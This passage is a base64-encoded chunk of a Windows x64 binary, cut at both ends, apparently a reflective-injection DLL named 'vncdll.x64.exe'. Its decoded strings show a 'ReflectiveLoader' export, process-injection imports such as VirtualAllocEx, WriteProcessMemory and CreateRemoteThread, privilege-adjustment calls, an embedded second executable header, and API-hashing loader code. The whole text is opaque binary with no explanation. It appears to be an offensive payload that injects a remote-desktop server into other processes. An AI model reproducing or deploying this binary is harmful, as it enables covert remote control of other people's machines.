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wAAC4DV2FpdEZvcklucHV0SWRsZQAAVVNFUjMyLmRsbAAAqQBDcmVhdGVSZW1vdGVUaHJlYWQAAP8EVmlydHVhbFByb3RlY3RFeAAA+QRWaXJ0dWFsQWxsb2NFeAAAPQVXcml0ZVByb2Nlc3NNZW1vcnkAAI8DUGVla05hbWVkUGlwZQBlAENvbm5lY3ROYW1lZFBpcGUAAJoCR2V0VGlja0NvdW50AADABFNsZWVwAMMDUmVhZEZpbGUAAOUARGlzY29ubmVjdE5hbWVkUGlwZQAIAkdldExhc3RFcnJvcgAAnwBDcmVhdGVOYW1lZFBpcGVBAABSAENsb3NlSGFuZGxlAMYBR2V0Q3VycmVudFByb2Nlc3MACAVXYWl0Rm9yU2luZ2xlT2JqZWN0ACAFV2lkZUNoYXJUb011bHRpQnl0ZQDPBFRlcm1pbmF0ZVRocmVhZADGA1JlYWRQcm9jZXNzTWVtb3J5AGkDTXVsdGlCeXRlVG9XaWRlQ2hhcgCABFNldExhc3RFcnJvcgAARgNMb2NhbEFsbG9jAAAGBVdhaXRGb3JNdWx0aXBsZU9iamVjdHMAAJsAQ3JlYXRlTXV0ZXhBAADsAER1cGxpY2F0ZUhhbmRsZQD9A1JlbGVhc2VNdXRleAAAxwFHZXRDdXJyZW50UHJvY2Vzc0lkAEoDTG9jYWxGcmVlALQAQ3JlYXRlVGhyZWFkAABoAUZyZWVMaWJyYXJ5AIIDT3BlblByb2Nlc3MA0QRUaHJlYWQzMkZpcnN0ANIEVGhyZWFkMzJOZXh0AABMAkdldFByb2NBZGRyZXNzAAA+A0xvYWRMaWJyYXJ5QQAAhwNPcGVuVGhyZWFkAAC9AENyZWF0ZVRvb2xoZWxwMzJTbmFwc2hvdAAAyARTdXNwZW5kVGhyZWFkABYEUmVzdW1lVGhyZWFkAABLRVJORUwzMi5kbGwAAAYAQ29tbWFuZExpbmVUb0FyZ3ZXAABTSEVMTDMyLmRsbADXAkhlYXBGcmVlAADTAkhlYXBBbGxvYwDyAEVudGVyQ3JpdGljYWxTZWN0aW9uAAA7A0xlYXZlQ3JpdGljYWxTZWN0aW9uAAACA0lzRGVidWdnZXJQcmVzZW50AAYDSXNQcm9jZXNzb3JGZWF0dXJlUHJlc2VudACMAUdldENvbW1hbmRMaW5lQQDuAEVuY29kZVBvaW50ZXIAywBEZWNvZGVQb2ludGVyAFECR2V0UHJvY2Vzc0hlYXAAAB8BRXhpdFByb2Nlc3MAHQJHZXRNb2R1bGVIYW5kbGVFeFcAAGsCR2V0U3RkSGFuZGxlAAA0BVdyaXRlRmlsZQAaAkdldE1vZHVsZUZpbGVOYW1lVwAA0gBEZWxldGVDcml0aWNhbFNlY3Rpb24AJQRSdGxVbndpbmRFeAAYBFJ0bENhcHR1cmVDb250ZXh0AB8EUnRsTG9va3VwRnVuY3Rpb25FbnRyeQAAJgRSdGxWaXJ0dWFsVW53aW5kAADiBFVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgAAswRTZXRVbmhhbmRsZWRFeGNlcHRpb25GaWx0ZXIA6wJJbml0aWFsaXplQ3JpdGljYWxTZWN0aW9uQW5kU3BpbkNvdW50AM4EVGVybWluYXRlUHJvY2VzcwAA0wRUbHNBbGxvYwAA1QRUbHNHZXRWYWx1ZQDWBFRsc1NldFZhbHVlANQEVGxzRnJlZQBqAkdldFN0YXJ0dXBJbmZvVwAeAkdldE1vZHVsZUhhbmRsZVcAAMsBR2V0Q3VycmVudFRocmVhZElkAAD6AUdldEZpbGVUeXBlABkCR2V0TW9kdWxlRmlsZU5hbWVBAACpA1F1ZXJ5UGVyZm9ybWFuY2VDb3VudGVyAIACR2V0U3lzdGVtVGltZUFzRmlsZVRpbWUA4QFHZXRFbnZpcm9ubWVudFN0cmluZ3NXAABnAUZyZWVFbnZpcm9ubWVudFN0cmluZ3NXAKABR2V0Q29uc29sZUNQAACyAUdldENvbnNvbGVNb2RlAAB1BFNldEZpbGVQb2ludGVyRXgAAAwDSXNWYWxpZENvZGVQYWdlAG4BR2V0QUNQAAA+AkdldE9FTUNQAAB4AUdldENQSW5mbwBAA0xvYWRMaWJyYXJ5RXhXAACMA091dHB1dERlYnVnU3RyaW5nVwAAXQFGbHVzaEZpbGVCdWZmZXJzAADaAkhlYXBSZUFsbG9jAJQEU2V0U3RkSGFuZGxlAAAzBVdyaXRlQ29uc29sZVcAcAJHZXRTdHJpbmdUeXBlVwAA3AJIZWFwU2l6ZQAALwNMQ01hcFN0cmluZ1cAAI8AQ3JlYXRlRmlsZVcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAjQdAAQAAAAAAAAAAAAAAgI0HQAEAAAABAQAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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